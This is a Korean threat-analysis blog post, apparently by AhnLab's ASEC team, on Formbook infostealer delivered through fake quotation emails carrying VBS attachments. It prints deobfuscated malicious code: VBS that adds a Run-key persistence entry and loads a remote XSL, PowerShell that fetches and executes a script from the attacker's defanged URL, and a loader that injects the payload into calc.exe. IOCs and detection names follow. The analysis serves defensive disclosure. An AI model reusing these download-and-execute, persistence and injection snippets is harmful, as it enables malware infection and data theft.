견적서 위장 악성코드 유포 방식의 변화 (VBS 스크립트)

ASEC 분석팀은 지난해 특정 업체의 이름이 포함된 파일명으로 유포된 Formbook 악성코드가 최근 VBS 파일을 통해 유포되고 있음을 확인하였다. 유포가 확인된 메일에는 여전히 견적서 요청 관련 내용을 담고 있으며, 첨부파일명에 특정 회사의 이름이 포함되어 있어 사용자가 첨부파일을 실행하도록 유도한다.

견적서/발주서 제목의 정보유출 악성코드(Formbook) 주의! (21.02.04)

그림1. 이메일1
그림2. 이메일2

메일에 첨부된 압축파일에는 실행 파일이 아닌 VBS 파일이 존재한다.

그림3. 첨부된 압축파일 내부

해당 악성 파일은 동일한 업체 명에 유포 날짜만 다르게 한 파일명으로 유포되고 있는 것으로 확인된다. 현재 유포가 확인된 파일명은 아래와 같다.

  • 한*산업개발(2022.02.03).pdf.vbs
  • 한*산업개발(2022.02.04).pdf.vbs
  • 한*산업개발(2022.02.07).pdf.vbs
  • 한*산업개발(2022-02-10).pdf.vbs
  • 한*산업개발(2022.02.16).pdf.vbs
  • 한*산업개발(2022.02.17).vbs
  • 한*산업개발(2022.02.21).vbs

한*산업개발(2022.02.21).vbs 에는 특정 값들이 난독화 되어 있다. 난독화 해제 시 다음과 같이 런키 등록 및 특정 URL에 접속하는 기능을 수행하는 코드를 확인할 수 있다.

Sub eQACeDnGd()
Const zTZPNQXZ = &H80000001
Set izXSnKvcF=Eval("GetObject(WSBI() + ""default:StdRegProv"")")
Cso = "Software\Microsoft\Windows\CurrentVersion\Run"
Fklft = "jtZsps"
XqTs = "C:\Users\[UserName]\Music\" + [스크립트 파일명]
izXSnKvcF.SetStringValue zTZPNQXZ,Cso,Fklft,XqTs
End Sub

Sub FRgMMrSnNR()
On Error Resume Next
 Set uVzfiIPoT = Eval("GetObject(new:F5078F32-C551-11D3-89B9-0000F81FE221)") 'MSXML2.DOMDocument.3.0의 CLASSID
 uVzfiIPoT.async = False
 Execute("uVzfiIPoT.Load hxxp://wisewomanwarrior[.]com/wp-admin/self2.jpg")
 Execute("uVzfiIPoT.transformNode (uVzfiIPoT)")
End Sub

따라서 VBS 파일 실행 시 hxxp://wisewomanwarrior[.]com/wp-admin/self2.jpg 에 접속하여 해당 URL에 존재하는 추가 스크립트가 실행된다. 이후 HKCU\Software\Microsoft\Windows\CurrentVersion\Run\jtZsps 레지스트리에 C:\Users\[UserName]\Music\한*산업개발(2022.02.21).vbs 을 추가하여 악성 스크립트가 지속적으로 실행될 수 있도록 한다.

또한, 아래의 명령어를 수행하여 레지스트리에 등록된 C:\Users\[UserName]\Music\ 폴더에 동일한 파일명으로 자가복제 한다.

  • cmd /c copy “한*산업개발(2022.02.21).vbs” “C:\Users\[UserName]\Music” /Y

hxxp://wisewomanwarrior[.]com/wp-admin/self2.jpg 에는 아래와 같은 스크립트 코드가 존재하여 해당 URL에 접속 시 파워쉘이 실행된다.

<xsl:stylesheet version="1.0"
      xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
      xmlns:msxsl="urn:schemas-microsoft-com:xslt"
      xmlns:user="http://mycompany.com/mynamespace">

 <msxsl:script language="JScript" implements-prefix="user">
<![CDATA[
-중략-
var yy=r.ShellExecute("powershell.exe",eioerhidfsg44g00ggg("2474303D27444535272E7265706C616365282744272C274927292E7265706C616365282735272C277827293B73616C2067202474303B2467663D2830303130303130302C30313030303130312C3031313130303130
-중략-
function eioerhidfsg44g00ggg(hex) {
    var str = '';
    for (var i = 0; i < hex.length; i += 2) {
        var v = parseInt(hex.substr(i, 2), 16);
        if (v) str += String.fromCharCode(v);
    }
    return str;
} 

난독화 되어있는 파워쉘 명령어는 최종적으로 아래의 명령어를 수행하게 되어  hxxp://wisewomanwarrior[.]com/wp-admin/self1.jpg 에서 추가 스크립트를 받아온다.

$t0='IEX';
sal g $t0;
$gf="$ErrorActionPreference = 'SilentlyContinue';
$t56fg = [Enum]::ToObject([System.Net.SecurityProtocolType], 3072);
[System.Net.ServicePointManager]::SecurityProtocol = $t56fg;
Add-Type -AssemblyName Microsoft.VisualBasic;do {$ping = test-connection -comp google.com -count 1 -Quiet} until ($ping);
$tty=g('(New-Object Net.WebClient)');
$mv= [Microsoft.VisualBasic.Interaction]::CallByname($tty,'DownloadString',[Microsoft.VisualBasic.CallType]::Method,'hxxp://wisewomanwarrior[.]com/wp-admin/self1.jpg')|g" | %{ [System.Text.Encoding]::UTF8.GetString([System.Convert]::ToInt32($_,2)) };
g([system.String]::Join('', $gf))

hxxp://wisewomanwarrior[.]com/wp-admin/self1.jpg 에는 난독화된 파워쉘 명령어와 압축 파일 데이터가 존재한다. 해당 스크립트는 압축 형태로 존재하는 데이터를 압축 해제하여 특정 프로세스에 인젝션하는 기능을 수행한다.

$eqCH=(01100110,01110101,01101110,01100011,<생략> ,01111101) | %{ [System.Text.Encoding]::UTF8.GetString([System.Convert]::ToInt32($_,2)) };I`E`X([system.String]::Join('', $eqCH)) ‘압축해제 관련 파워쉘 스크립트
[Byte[]]$MNB=('_<1F,_<8B,_<08, <생략>,_<00'.replace('_<','0x'))|g;
[byte[]]$FFCgPVE =  tMCfkSD $MNB
[Byte[]]$uiMz=('_<1F,_<8B,_<08, <생략> ,_<02,_<00'.replace('_<','0x'))|g
$ayy = [Microsoft.VisualBasic.Interaction]::CallByname([AppDomain]::CurrentDomain,"Load",[Microsoft.VisualBasic.CallType]::Method,$FFCgPVE)
[toooyou]::Black('calc.exe',$uiMz)

위 스크립트 실행 시 $MNB 변수에 저장되는 .Net 실행 파일의 내부에 존재하는 함수를 활용하여 $uiMz에 존재하는 데이터를 calc.exe에 인젝션한다.

그림4.자사 RAPIT 시스템에서 확인되는 프로세스 트리

인젝션된 데이터는 인포스틸러 악성코드인 Formbook 악성코드이다. 정상 프로세스인 explorer.exe 및 system32 경로에 있는 또 다른 정상 프로세스에 인젝션하여 동작하며, C&C와의 접속을 통하여 사용자 정보를 탈취한다.

  • C&C : hxxp://www.bumabagi[.]com/p7n9/

견적서로 위장한 악성코드는 과거부터 꾸준히 유포되고 있어 사용자의 주의가 필요하다. 또한, 위와 같이 실제 업체명으로 악성 파일을 유포하기 때문에 발신인을 확인하고, 알 수 없는 발신자로부터 받은 메일에 포함된 첨부파일이나 링크 실행을 자제해야 한다.

현재 안랩 제품에서는 다음과 같이 해당 악성코드를 진단하고있다.

[행위 진단 및 메모리 진단]

  • Malware/MDP.Inject.M3044
  • Malware/MDP.Inject.M3509
  • Ransom/MDP.BlueCrab.M3544
  • Trojan/Win.Formbook.XM89

[파일 진단]

  • Downloader/VBS.Generic

[IOC 정보]

  • f7918d4a953248d4878f0332bd235a53 (VBS)
  • 23c238466940b27bf287dccaf3407923 (VBS)
  • cdfbfe783f4b40bdb86c1ac3bc126596 (VBS)
  • hxxp://wisewomanwarrior[.]com/wp-admin/self2.jpg
  • hxxp://wisewomanwarrior[.]com/wp-admin/self2.jpg
  • hxxp://www.bumabagi[.]com/p7n9/

연관 IOC 및 관련 상세 분석 정보는 안랩의 차세대 위협 인텔리전스 플랫폼 ‘AhnLab TIP’ 구독 서비스를 통해 확인 가능하다.

5 2 votes
별점 주기
Subscribe
Notify of
guest

0 댓글
Inline Feedbacks
View all comments